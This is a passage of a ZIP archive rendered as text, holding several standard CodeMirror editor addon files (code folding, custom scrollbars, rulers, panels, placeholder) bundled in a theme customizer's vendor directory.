  for (var at = start.ch, pass = 0;;) {
    var found = at <= 0 ? -1 : lineText.lastIndexOf(startToken, at - 1);
    if (found == -1) {
      if (pass == 1) return;
      pass = 1;
      at = lineText.length;
      continue;
    }
    if (pass == 1 && found < start.ch) return;
    if (/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1))) &&
        (lineText.slice(found - endToken.length, found) == endToken ||
         !/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found))))) {
      startCh = found + startToken.length;
      break;
    }
    at = found - 1;
  }

  var depth = 1, lastLine = cm.lastLine(), end, endCh;
  outer: for (var i = line; i <= lastLine; ++i) {
    var text = cm.getLine(i), pos = i == line ? startCh : 0;
    for (;;) {
      var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
      if (nextOpen < 0) nextOpen = text.length;
      if (nextClose < 0) nextClose = text.length;
      pos = Math.min(nextOpen, nextClose);
      if (pos == text.length) break;
      if (pos == nextOpen) ++depth;
      else if (!--depth) { end = i; endCh = pos; break outer; }
      ++pos;
    }
  }
  if (end == null || line == end && endCh == startCh) return;
  return {from: CodeMirror.Pos(line, startCh),
          to: CodeMirror.Pos(end, endCh)};
});

});
PK     0w\$J    J  customizer/framework/assets/js/vendor/codemirror/addon/fold/foldgutter.cssnu [        .CodeMirror-foldmarker {
  color: blue;
  text-shadow: #b9f 1px 1px 2px, #b9f -1px -1px 2px, #b9f 1px -1px 2px, #b9f -1px 1px 2px;
  font-family: arial;
  line-height: .3;
  cursor: pointer;
}
.CodeMirror-foldgutter {
  width: .7em;
}
.CodeMirror-foldgutter-open,
.CodeMirror-foldgutter-folded {
  cursor: pointer;
}
.CodeMirror-foldgutter-open:after {
  content: "\25BE";
}
.CodeMirror-foldgutter-folded:after {
  content: "\25B8";
}
PK     0w\C[  [  J  customizer/framework/assets/js/vendor/codemirror/addon/fold/indent-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "indent", function(cm, start) {
  var tabSize = cm.getOption("tabSize"), firstLine = cm.getLine(start.line);
  if (!/\S/.test(firstLine)) return;
  var getIndent = function(line) {
    return CodeMirror.countColumn(line, null, tabSize);
  };
  var myIndent = getIndent(firstLine);
  var lastLineInFold = null;
  // Go through lines until we find a line that definitely doesn't belong in
  // the block we're folding, or to the end.
  for (var i = start.line + 1, end = cm.lastLine(); i <= end; ++i) {
    var curLine = cm.getLine(i);
    var curIndent = getIndent(curLine);
    if (curIndent > myIndent) {
      // Lines with a greater indent are considered part of the block.
      lastLineInFold = i;
    } else if (!/\S/.test(curLine)) {
      // Empty lines might be breaks within the block we're trying to fold.
    } else {
      // A non-empty line at an indent equal to or less than ours marks the
      // start of another block.
      break;
    }
  }
  if (lastLineInFold) return {
    from: CodeMirror.Pos(start.line, firstLine.length),
    to: CodeMirror.Pos(lastLineInFold, cm.getLine(lastLineInFold).length)
  };
});

});
PK     0w\    I  customizer/framework/assets/js/vendor/codemirror/addon/fold/foldgutter.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./foldcode"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./foldcode"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("foldGutter", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.clearGutter(cm.state.foldGutter.options.gutter);
      cm.state.foldGutter = null;
      cm.off("gutterClick", onGutterClick);
      cm.off("change", onChange);
      cm.off("viewportChange", onViewportChange);
      cm.off("fold", onFold);
      cm.off("unfold", onFold);
      cm.off("swapDoc", updateInViewport);
    }
    if (val) {
      cm.state.foldGutter = new State(parseOptions(val));
      updateInViewport(cm);
      cm.on("gutterClick", onGutterClick);
      cm.on("change", onChange);
      cm.on("viewportChange", onViewportChange);
      cm.on("fold", onFold);
      cm.on("unfold", onFold);
      cm.on("swapDoc", updateInViewport);
    }
  });

  var Pos = CodeMirror.Pos;

  function State(options) {
    this.options = options;
    this.from = this.to = 0;
  }

  function parseOptions(opts) {
    if (opts === true) opts = {};
    if (opts.gutter == null) opts.gutter = "CodeMirror-foldgutter";
    if (opts.indicatorOpen == null) opts.indicatorOpen = "CodeMirror-foldgutter-open";
    if (opts.indicatorFolded == null) opts.indicatorFolded = "CodeMirror-foldgutter-folded";
    return opts;
  }

  function isFolded(cm, line) {
    var marks = cm.findMarksAt(Pos(line));
    for (var i = 0; i < marks.length; ++i)
      if (marks[i].__isFold && marks[i].find().from.line == line) return marks[i];
  }

  function marker(spec) {
    if (typeof spec == "string") {
      var elt = document.createElement("div");
      elt.className = spec + " CodeMirror-guttermarker-subtle";
      return elt;
    } else {
      return spec.cloneNode(true);
    }
  }

  function updateFoldInfo(cm, from, to) {
    var opts = cm.state.foldGutter.options, cur = from;
    var minSize = cm.foldOption(opts, "minFoldSize");
    var func = cm.foldOption(opts, "rangeFinder");
    cm.eachLine(from, to, function(line) {
      var mark = null;
      if (isFolded(cm, cur)) {
        mark = marker(opts.indicatorFolded);
      } else {
        var pos = Pos(cur, 0);
        var range = func && func(cm, pos);
        if (range && range.to.line - range.from.line >= minSize)
          mark = marker(opts.indicatorOpen);
      }
      cm.setGutterMarker(line, opts.gutter, mark);
      ++cur;
    });
  }

  function updateInViewport(cm) {
    var vp = cm.getViewport(), state = cm.state.foldGutter;
    if (!state) return;
    cm.operation(function() {
      updateFoldInfo(cm, vp.from, vp.to);
    });
    state.from = vp.from; state.to = vp.to;
  }

  function onGutterClick(cm, line, gutter) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    if (gutter != opts.gutter) return;
    var folded = isFolded(cm, line);
    if (folded) folded.clear();
    else cm.foldCode(Pos(line, 0), opts.rangeFinder);
  }

  function onChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    state.from = state.to = 0;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() { updateInViewport(cm); }, opts.foldOnChangeTimeSpan || 600);
  }

  function onViewportChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() {
      var vp = cm.getViewport();
      if (state.from == state.to || vp.from - state.to > 20 || state.from - vp.to > 20) {
        updateInViewport(cm);
      } else {
        cm.operation(function() {
          if (vp.from < state.from) {
            updateFoldInfo(cm, vp.from, state.from);
            state.from = vp.from;
          }
          if (vp.to > state.to) {
            updateFoldInfo(cm, state.to, vp.to);
            state.to = vp.to;
          }
        });
      }
    }, opts.updateViewportTimeSpan || 400);
  }

  function onFold(cm, from) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var line = from.line;
    if (line >= state.from && line < state.to)
      updateFoldInfo(cm, line, line + 1);
  }
});
PK     0w\R@Z@  @  I  customizer/framework/assets/js/vendor/codemirror/addon/fold/brace-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "brace", function(cm, start) {
  var line = start.line, lineText = cm.getLine(line);
  var startCh, tokenType;

  function findOpening(openCh) {
    for (var at = start.ch, pass = 0;;) {
      var found = at <= 0 ? -1 : lineText.lastIndexOf(openCh, at - 1);
      if (found == -1) {
        if (pass == 1) break;
        pass = 1;
        at = lineText.length;
        continue;
      }
      if (pass == 1 && found < start.ch) break;
      tokenType = cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1));
      if (!/^(comment|string)/.test(tokenType)) return found + 1;
      at = found - 1;
    }
  }

  var startToken = "{", endToken = "}", startCh = findOpening("{");
  if (startCh == null) {
    startToken = "[", endToken = "]";
    startCh = findOpening("[");
  }

  if (startCh == null) return;
  var count = 1, lastLine = cm.lastLine(), end, endCh;
  outer: for (var i = line; i <= lastLine; ++i) {
    var text = cm.getLine(i), pos = i == line ? startCh : 0;
    for (;;) {
      var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
      if (nextOpen < 0) nextOpen = text.length;
      if (nextClose < 0) nextClose = text.length;
      pos = Math.min(nextOpen, nextClose);
      if (pos == text.length) break;
      if (cm.getTokenTypeAt(CodeMirror.Pos(i, pos + 1)) == tokenType) {
        if (pos == nextOpen) ++count;
        else if (!--count) { end = i; endCh = pos; break outer; }
      }
      ++pos;
    }
  }
  if (end == null || line == end && endCh == startCh) return;
  return {from: CodeMirror.Pos(line, startCh),
          to: CodeMirror.Pos(end, endCh)};
});

CodeMirror.registerHelper("fold", "import", function(cm, start) {
  function hasImport(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start = cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type != "keyword" || start.string != "import") return null;
    // Now find closing semicolon, return its position
    for (var i = line, e = Math.min(cm.lastLine(), line + 10); i <= e; ++i) {
      var text = cm.getLine(i), semi = text.indexOf(";");
      if (semi != -1) return {startCh: start.end, end: CodeMirror.Pos(i, semi)};
    }
  }

  var start = start.line, has = hasImport(start), prev;
  if (!has || hasImport(start - 1) || ((prev = hasImport(start - 2)) && prev.end.line == start - 1))
    return null;
  for (var end = has.end;;) {
    var next = hasImport(end.line + 1);
    if (next == null) break;
    end = next.end;
  }
  return {from: cm.clipPos(CodeMirror.Pos(start, has.startCh + 1)), to: end};
});

CodeMirror.registerHelper("fold", "include", function(cm, start) {
  function hasInclude(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start = cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type == "meta" && start.string.slice(0, 8) == "#include") return start.start + 8;
  }

  var start = start.line, has = hasInclude(start);
  if (has == null || hasInclude(start - 1) != null) return null;
  for (var end = start;;) {
    var next = hasInclude(end + 1);
    if (next == null) break;
    ++end;
  }
  return {from: CodeMirror.Pos(start, has + 1),
          to: cm.clipPos(CodeMirror.Pos(end))};
});

});
PK     0w\9D    Q  customizer/framework/assets/js/vendor/codemirror/addon/scroll/simplescrollbars.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function Bar(cls, orientation, scroll) {
    this.orientation = orientation;
    this.scroll = scroll;
    this.screen = this.total = this.size = 1;
    this.pos = 0;

    this.node = document.createElement("div");
    this.node.className = cls + "-" + orientation;
    this.inner = this.node.appendChild(document.createElement("div"));

    var self = this;
    CodeMirror.on(this.inner, "mousedown", function(e) {
      if (e.which != 1) return;
      CodeMirror.e_preventDefault(e);
      var axis = self.orientation == "horizontal" ? "pageX" : "pageY";
      var start = e[axis], startpos = self.pos;
      function done() {
        CodeMirror.off(document, "mousemove", move);
        CodeMirror.off(document, "mouseup", done);
      }
      function move(e) {
        if (e.which != 1) return done();
        self.moveTo(startpos + (e[axis] - start) * (self.total / self.size));
      }
      CodeMirror.on(document, "mousemove", move);
      CodeMirror.on(document, "mouseup", done);
    });

    CodeMirror.on(this.node, "click", function(e) {
      CodeMirror.e_preventDefault(e);
      var innerBox = self.inner.getBoundingClientRect(), where;
      if (self.orientation == "horizontal")
        where = e.clientX < innerBox.left ? -1 : e.clientX > innerBox.right ? 1 : 0;
      else
        where = e.clientY < innerBox.top ? -1 : e.clientY > innerBox.bottom ? 1 : 0;
      self.moveTo(self.pos + where * self.screen);
    });

    function onWheel(e) {
      var moved = CodeMirror.wheelEventPixels(e)[self.orientation == "horizontal" ? "x" : "y"];
      var oldPos = self.pos;
      self.moveTo(self.pos + moved);
      if (self.pos != oldPos) CodeMirror.e_preventDefault(e);
    }
    CodeMirror.on(this.node, "mousewheel", onWheel);
    CodeMirror.on(this.node, "DOMMouseScroll", onWheel);
  }

  Bar.prototype.moveTo = function(pos, update) {
    if (pos < 0) pos = 0;
    if (pos > this.total - this.screen) pos = this.total - this.screen;
    if (pos == this.pos) return;
    this.pos = pos;
    this.inner.style[this.orientation == "horizontal" ? "left" : "top"] =
      (pos * (this.size / this.total)) + "px";
    if (update !== false) this.scroll(pos, this.orientation);
  };

  var minButtonSize = 10;

  Bar.prototype.update = function(scrollSize, clientSize, barSize) {
    this.screen = clientSize;
    this.total = scrollSize;
    this.size = barSize;

    var buttonSize = this.screen * (this.size / this.total);
    if (buttonSize < minButtonSize) {
      this.size -= minButtonSize - buttonSize;
      buttonSize = minButtonSize;
    }
    this.inner.style[this.orientation == "horizontal" ? "width" : "height"] =
      buttonSize + "px";
    this.inner.style[this.orientation == "horizontal" ? "left" : "top"] =
      this.pos * (this.size / this.total) + "px";
  };

  function SimpleScrollbars(cls, place, scroll) {
    this.addClass = cls;
    this.horiz = new Bar(cls, "horizontal", scroll);
    place(this.horiz.node);
    this.vert = new Bar(cls, "vertical", scroll);
    place(this.vert.node);
    this.width = null;
  }

  SimpleScrollbars.prototype.update = function(measure) {
    if (this.width == null) {
      var style = window.getComputedStyle ? window.getComputedStyle(this.horiz.node) : this.horiz.node.currentStyle;
      if (style) this.width = parseInt(style.height);
    }
    var width = this.width || 0;

    var needsH = measure.scrollWidth > measure.clientWidth + 1;
    var needsV = measure.scrollHeight > measure.clientHeight + 1;
    this.vert.node.style.display = needsV ? "block" : "none";
    this.horiz.node.style.display = needsH ? "block" : "none";

    if (needsV) {
      this.vert.update(measure.scrollHeight, measure.clientHeight,
                       measure.viewHeight - (needsH ? width : 0));
      this.vert.node.style.display = "block";
      this.vert.node.style.bottom = needsH ? width + "px" : "0";
    }
    if (needsH) {
      this.horiz.update(measure.scrollWidth, measure.clientWidth,
                        measure.viewWidth - (needsV ? width : 0) - measure.barLeft);
      this.horiz.node.style.right = needsV ? width + "px" : "0";
      this.horiz.node.style.left = measure.barLeft + "px";
    }

    return {right: needsV ? width : 0, bottom: needsH ? width : 0};
  };

  SimpleScrollbars.prototype.setScrollTop = function(pos) {
    this.vert.moveTo(pos, false);
  };

  SimpleScrollbars.prototype.setScrollLeft = function(pos) {
    this.horiz.moveTo(pos, false);
  };

  SimpleScrollbars.prototype.clear = function() {
    var parent = this.horiz.node.parentNode;
    parent.removeChild(this.horiz.node);
    parent.removeChild(this.vert.node);
  };

  CodeMirror.scrollbarModel.simple = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-simplescroll", place, scroll);
  };
  CodeMirror.scrollbarModel.overlay = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-overlayscroll", place, scroll);
  };
});
PK     0w\T~C  C  R  customizer/framework/assets/js/vendor/codemirror/addon/scroll/simplescrollbars.cssnu [        .CodeMirror-simplescroll-horizontal div, .CodeMirror-simplescroll-vertical div {
  position: absolute;
  background: #ccc;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  border: 1px solid #bbb;
  border-radius: 2px;
}

.CodeMirror-simplescroll-horizontal, .CodeMirror-simplescroll-vertical {
  position: absolute;
  z-index: 6;
  background: #eee;
}

.CodeMirror-simplescroll-horizontal {
  bottom: 0; left: 0;
  height: 8px;
}
.CodeMirror-simplescroll-horizontal div {
  bottom: 0;
  height: 100%;
}

.CodeMirror-simplescroll-vertical {
  right: 0; top: 0;
  width: 8px;
}
.CodeMirror-simplescroll-vertical div {
  right: 0;
  width: 100%;
}


.CodeMirror-overlayscroll .CodeMirror-scrollbar-filler, .CodeMirror-overlayscroll .CodeMirror-gutter-filler {
  display: none;
}

.CodeMirror-overlayscroll-horizontal div, .CodeMirror-overlayscroll-vertical div {
  position: absolute;
  background: #bcd;
  border-radius: 3px;
}

.CodeMirror-overlayscroll-horizontal, .CodeMirror-overlayscroll-vertical {
  position: absolute;
  z-index: 6;
}

.CodeMirror-overlayscroll-horizontal {
  bottom: 0; left: 0;
  height: 6px;
}
.CodeMirror-overlayscroll-horizontal div {
  bottom: 0;
  height: 100%;
}

.CodeMirror-overlayscroll-vertical {
  right: 0; top: 0;
  width: 6px;
}
.CodeMirror-overlayscroll-vertical div {
  right: 0;
  width: 100%;
}
PK     0w\^K  K  R  customizer/framework/assets/js/vendor/codemirror/addon/scroll/annotatescrollbar.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineExtension("annotateScrollbar", function(options) {
    if (typeof options == "string") options = {className: options};
    return new Annotation(this, options);
  });

  CodeMirror.defineOption("scrollButtonHeight", 0);

  function Annotation(cm, options) {
    this.cm = cm;
    this.options = options;
    this.buttonHeight = options.scrollButtonHeight || cm.getOption("scrollButtonHeight");
    this.annotations = [];
    this.doRedraw = this.doUpdate = null;
    this.div = cm.getWrapperElement().appendChild(document.createElement("div"));
    this.div.style.cssText = "position: absolute; right: 0; top: 0; z-index: 7; pointer-events: none";
    this.computeScale();

    function scheduleRedraw(delay) {
      clearTimeout(self.doRedraw);
      self.doRedraw = setTimeout(function() { self.redraw(); }, delay);
    }

    var self = this;
    cm.on("refresh", this.resizeHandler = function() {
      clearTimeout(self.doUpdate);
      self.doUpdate = setTimeout(function() {
        if (self.computeScale()) scheduleRedraw(20);
      }, 100);
    });
    cm.on("markerAdded", this.resizeHandler);
    cm.on("markerCleared", this.resizeHandler);
    if (options.listenForChanges !== false)
      cm.on("change", this.changeHandler = function() {
        scheduleRedraw(250);
      });
  }

  Annotation.prototype.computeScale = function() {
    var cm = this.cm;
    var hScale = (cm.getWrapperElement().clientHeight - cm.display.barHeight - this.buttonHeight * 2) /
      cm.getScrollerElement().scrollHeight
    if (hScale != this.hScale) {
      this.hScale = hScale;
      return true;
    }
  };

  Annotation.prototype.update = function(annotations) {
    this.annotations = annotations;
    this.redraw();
  };

  Annotation.prototype.redraw = function(compute) {
    if (compute !== false) this.computeScale();
    var cm = this.cm, hScale = this.hScale;

    var frag = document.createDocumentFragment(), anns = this.annotations;

    var wrapping = cm.getOption("lineWrapping");
    var singleLineH = wrapping && cm.defaultTextHeight() * 1.5;
    var curLine = null, curLineObj = null;
    function getY(pos, top) {
      if (curLine != pos.line) {
        curLine = pos.line;
        curLineObj = cm.getLineHandle(curLine);
      }
      if (wrapping && curLineObj.height > singleLineH)
        return cm.charCoords(pos, "local")[top ? "top" : "bottom"];
      var topY = cm.heightAtLine(curLineObj, "local");
      return topY + (top ? 0 : curLineObj.height);
    }

    if (cm.display.barWidth) for (var i = 0, nextTop; i < anns.length; i++) {
      var ann = anns[i];
      var top = nextTop || getY(ann.from, true) * hScale;
      var bottom = getY(ann.to, false) * hScale;
      while (i < anns.length - 1) {
        nextTop = getY(anns[i + 1].from, true) * hScale;
        if (nextTop > bottom + .9) break;
        ann = anns[++i];
        bottom = getY(ann.to, false) * hScale;
      }
      if (bottom == top) continue;
      var height = Math.max(bottom - top, 3);

      var elt = frag.appendChild(document.createElement("div"));
      elt.style.cssText = "position: absolute; right: 0px; width: " + Math.max(cm.display.barWidth - 1, 2) + "px; top: "
        + (top + this.buttonHeight) + "px; height: " + height + "px";
      elt.className = this.options.className;
    }
    this.div.textContent = "";
    this.div.appendChild(frag);
  };

  Annotation.prototype.clear = function() {
    this.cm.off("refresh", this.resizeHandler);
    this.cm.off("markerAdded", this.resizeHandler);
    this.cm.off("markerCleared", this.resizeHandler);
    if (this.changeHandler) this.cm.off("change", this.changeHandler);
    this.div.parentNode.removeChild(this.div);
  };
});
PK     0w\-w    N  customizer/framework/assets/js/vendor/codemirror/addon/scroll/scrollpastend.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("scrollPastEnd", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.off("change", onChange);
      cm.off("refresh", updateBottomMargin);
      cm.display.lineSpace.parentNode.style.paddingBottom = "";
      cm.state.scrollPastEndPadding = null;
    }
    if (val) {
      cm.on("change", onChange);
      cm.on("refresh", updateBottomMargin);
      updateBottomMargin(cm);
    }
  });

  function onChange(cm, change) {
    if (CodeMirror.changeEnd(change).line == cm.lastLine())
      updateBottomMargin(cm);
  }

  function updateBottomMargin(cm) {
    var padding = "";
    if (cm.lineCount() > 1) {
      var totalH = cm.display.scroller.clientHeight - 30,
          lastLineH = cm.getLineHandle(cm.lastLine()).height;
      padding = (totalH - lastLineH) + "px";
    }
    if (cm.state.scrollPastEndPadding != padding) {
      cm.state.scrollPastEndPadding = padding;
      cm.display.lineSpace.parentNode.style.paddingBottom = padding;
      cm.setSize();
    }
  }
});
PK     0w\)(    M  customizer/framework/assets/js/vendor/codemirror/addon/display/autorefresh.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"))
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod)
  else // Plain browser env
    mod(CodeMirror)
})(function(CodeMirror) {
  "use strict"

  CodeMirror.defineOption("autoRefresh", false, function(cm, val) {
    if (cm.state.autoRefresh) {
      stopListening(cm, cm.state.autoRefresh)
      cm.state.autoRefresh = null
    }
    if (val && cm.display.wrapper.offsetHeight == 0)
      startListening(cm, cm.state.autoRefresh = {delay: val.delay || 250})
  })

  function startListening(cm, state) {
    function check() {
      if (cm.display.wrapper.offsetHeight) {
        stopListening(cm, state)
        if (cm.display.lastWrapHeight != cm.display.wrapper.clientHeight)
          cm.refresh()
      } else {
        state.timeout = setTimeout(check, state.delay)
      }
    }
    state.timeout = setTimeout(check, state.delay)
    state.hurry = function() {
      clearTimeout(state.timeout)
      state.timeout = setTimeout(check, 50)
    }
    CodeMirror.on(window, "mouseup", state.hurry)
    CodeMirror.on(window, "keyup", state.hurry)
  }

  function stopListening(_cm, state) {
    clearTimeout(state.timeout)
    CodeMirror.off(window, "mouseup", state.hurry)
    CodeMirror.off(window, "keyup", state.hurry)
  }
});
PK     0w\eH*  *  H  customizer/framework/assets/js/vendor/codemirror/addon/display/rulers.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("rulers", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      clearRulers(cm);
      cm.off("refresh", refreshRulers);
    }
    if (val && val.length) {
      setRulers(cm);
      cm.on("refresh", refreshRulers);
    }
  });

  function clearRulers(cm) {
    for (var i = cm.display.lineSpace.childNodes.length - 1; i >= 0; i--) {
      var node = cm.display.lineSpace.childNodes[i];
      if (/(^|\s)CodeMirror-ruler($|\s)/.test(node.className))
        node.parentNode.removeChild(node);
    }
  }

  function setRulers(cm) {
    var val = cm.getOption("rulers");
    var cw = cm.defaultCharWidth();
    var left = cm.charCoords(CodeMirror.Pos(cm.firstLine(), 0), "div").left;
    var minH = cm.display.scroller.offsetHeight + 30;
    for (var i = 0; i < val.length; i++) {
      var elt = document.createElement("div");
      elt.className = "CodeMirror-ruler";
      var col, conf = val[i];
      if (typeof conf == "number") {
        col = conf;
      } else {
        col = conf.column;
        if (conf.className) elt.className += " " + conf.className;
        if (conf.color) elt.style.borderColor = conf.color;
        if (conf.lineStyle) elt.style.borderLeftStyle = conf.lineStyle;
        if (conf.width) elt.style.borderLeftWidth = conf.width;
      }
      elt.style.left = (left + col * cw) + "px";
      elt.style.top = "-50px";
      elt.style.bottom = "-20px";
      elt.style.minHeight = minH + "px";
      cm.display.lineSpace.insertBefore(elt, cm.display.cursorDiv);
    }
  }

  function refreshRulers(cm) {
    clearRulers(cm);
    setRulers(cm);
  }
});
PK     0w\8    G  customizer/framework/assets/js/vendor/codemirror/addon/display/panel.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineExtension("addPanel", function(node, options) {
    options = options || {};

    if (!this.state.panels) initPanels(this);

    var info = this.state.panels;
    var wrapper = info.wrapper;
    var cmWrapper = this.getWrapperElement();

    if (options.after instanceof Panel && !options.after.cleared) {
      wrapper.insertBefore(node, options.before.node.nextSibling);
    } else if (options.before instanceof Panel && !options.before.cleared) {
      wrapper.insertBefore(node, options.before.node);
    } else if (options.replace instanceof Panel && !options.replace.cleared) {
      wrapper.insertBefore(node, options.replace.node);
      options.replace.clear();
    } else if (options.position == "bottom") {
      wrapper.appendChild(node);
    } else if (options.position == "before-bottom") {
      wrapper.insertBefore(node, cmWrapper.nextSibling);
    } else if (options.position == "after-top") {
      wrapper.insertBefore(node, cmWrapper);
    } else {
      wrapper.insertBefore(node, wrapper.firstChild);
    }

    var height = (options && options.height) || node.offsetHeight;
    this._setSize(null, info.heightLeft -= height);
    info.panels++;
    return new Panel(this, node, options, height);
  });

  function Panel(cm, node, options, height) {
    this.cm = cm;
    this.node = node;
    this.options = options;
    this.height = height;
    this.cleared = false;
  }

  Panel.prototype.clear = function() {
    if (this.cleared) return;
    this.cleared = true;
    var info = this.cm.state.panels;
    this.cm._setSize(null, info.heightLeft += this.height);
    info.wrapper.removeChild(this.node);
    if (--info.panels == 0) removePanels(this.cm);
  };

  Panel.prototype.changed = function(height) {
    var newHeight = height == null ? this.node.offsetHeight : height;
    var info = this.cm.state.panels;
    this.cm._setSize(null, info.height += (newHeight - this.height));
    this.height = newHeight;
  };

  function initPanels(cm) {
    var wrap = cm.getWrapperElement();
    var style = window.getComputedStyle ? window.getComputedStyle(wrap) : wrap.currentStyle;
    var height = parseInt(style.height);
    var info = cm.state.panels = {
      setHeight: wrap.style.height,
      heightLeft: height,
      panels: 0,
      wrapper: document.createElement("div")
    };
    wrap.parentNode.insertBefore(info.wrapper, wrap);
    var hasFocus = cm.hasFocus();
    info.wrapper.appendChild(wrap);
    if (hasFocus) cm.focus();

    cm._setSize = cm.setSize;
    if (height != null) cm.setSize = function(width, newHeight) {
      if (newHeight == null) return this._setSize(width, newHeight);
      info.setHeight = newHeight;
      if (typeof newHeight != "number") {
        var px = /^(\d+\.?\d*)px$/.exec(newHeight);
        if (px) {
          newHeight = Number(px[1]);
        } else {
          info.wrapper.style.height = newHeight;
          newHeight = info.wrapper.offsetHeight;
          info.wrapper.style.height = "";
        }
      }
      cm._setSize(width, info.heightLeft += (newHeight - height));
      height = newHeight;
    };
  }

  function removePanels(cm) {
    var info = cm.state.panels;
    cm.state.panels = null;

    var wrap = cm.getWrapperElement();
    info.wrapper.parentNode.replaceChild(wrap, info.wrapper);
    wrap.style.height = info.setHeight;
    cm.setSize = cm._setSize;
    cm.setSize();
  }
});
PK     0w\z{t   t   M  customizer/framework/assets/js/vendor/codemirror/addon/display/fullscreen.cssnu [        .CodeMirror-fullscreen {
  position: fixed;
  top: 0; left: 0; right: 0; bottom: 0;
  height: auto;
  z-index: 9;
}
PK     0w\H    M  customizer/framework/assets/js/vendor/codemirror/addon/display/placeholder.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("placeholder", "", function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.on("blur", onBlur);
      cm.on("change", onChange);
      onChange(cm);
    } else if (!val && prev) {
      cm.off("blur", onBlur);
      cm.off("change", onChange);
      clearPlaceholder(cm);
      var wrapper = cm.getWrapperElement();
